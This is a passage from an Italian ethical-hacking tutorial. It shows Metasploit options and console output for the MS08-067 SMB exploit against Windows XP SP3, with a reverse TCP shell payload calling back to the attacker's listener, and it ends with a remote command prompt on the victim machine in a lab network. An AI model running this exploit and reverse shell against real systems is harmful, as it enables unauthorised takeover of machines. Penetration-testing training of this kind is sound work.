RPORT    445              yes       The SMB service port (TCP)
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     10.10.10.5	      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
Exploit target:
Id  Name
--  ----
45  Windows XP SP3 Italian (NX)
msf exploit(windows/smb/ms08_067_netapi) >

Ora abbiamo tutto quello che ci serve per potere eseguire l’exploit con il Payload scelto con successo.

Metasploit – Exploit

msf exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.10.10.5:4444 
[*] 10.10.10.7:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.10.10.7
[*] Command shell session 1 opened (10.10.10.5:4444 -> 10.10.10.7:1037) at 2019-03-04 12:30:23 +0100
C:\WINDOWS\system32>

Come si può vedere l’exploit ha avuto successo e appare un promt dei commandi di Windows con cui si può fare praticamente qualsiasi cosa sulla macchina della vittima.

Tratto in parte dal libro: Penetration Testing – a hands-on introduction to Hacking di Giorgia Weidman

Ethical Hacking / Penetration Testing, Sicurezza / Anonimato Tags:ethical hacking, exploit, guida, italiano, Kali Linux, Metasploit, MS08-67, Nmap, Penetration testing, Penetration Testing - a hands-on Introduction to Hacking, sicurezza informatica, vulnerabilità, windows

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